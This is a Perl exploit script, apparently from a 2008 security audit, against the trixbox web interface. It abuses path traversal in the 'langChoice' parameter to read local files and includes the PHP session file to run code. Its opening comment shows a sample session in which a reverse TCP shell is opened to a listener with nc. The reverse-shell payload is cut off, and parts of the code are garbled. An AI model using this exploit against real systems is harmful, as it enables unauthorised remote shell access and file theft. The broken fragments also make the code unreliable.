#!/usr/bin/perl -w
# Jean-Michel BESNARD - LEXSI Audit
# 2008-07-08
# perl trixbox_fi.pl 192.168.1.212
# Please listen carefully as our menu option has changed
# Choose from the following options:
# 1> Remote TCP shell
# 2> Read local file
# 1
# Host and port the reverse shell should connect to ? (:): 192.168.1.132:4444
# Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444)
# Press enter to continue...
# done...
# nc -l -v -p 4444
# listening on [any] 4444 ...
# connect to [192.168.1.132] from [192.168.1.212] 46532
# JMB: no job control in this shell
# JMB: /root/.bashrc: Permission denied
# JMB-3.1$ id
# uid=102(asterisk) gid=103(asterisk) groups=103(asterisk)
use strict;
use Switch;
use LWP::UserAgent;
use HTTP::Cookies;
usage() unless @ARGV;
my $url = "http://$ARGV[0]/user/index.php";
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
$ua->cookie_jar($cookie_jar);
menu();
sub execScript{
my $scriptCode = shift;
post($scriptCode);
my $phpsessionid = extractPHPSID($cookie_jar->as
_string);
post("langChoice=../../../../../tmp/sess_$phpsessionid ");
}
sub post{
my $postData = shift;
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($postData);
my $res = $ua->request($req);
my $content = $res->content;
return $content;
}
sub readFile{
my $file = shift;
my $content = post("langChoice=../../../../..$file ");
my @fileLines = split(/\n/,$content);
my $fileContent = "Content of $file: \n\n";
for(my $i=3;$i<@fileLines;$i ){
last if($fileLines[$i] =~ m/trixbox - User Mode/);
$fileContent = $fileContent . $fileLines[$i-3] . "\n";
}
return $fileContent;
}
sub tcp_reverse_shell{
my $rhost= shift;
my $rport = shift;
my $rshell = "langChoice=&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>
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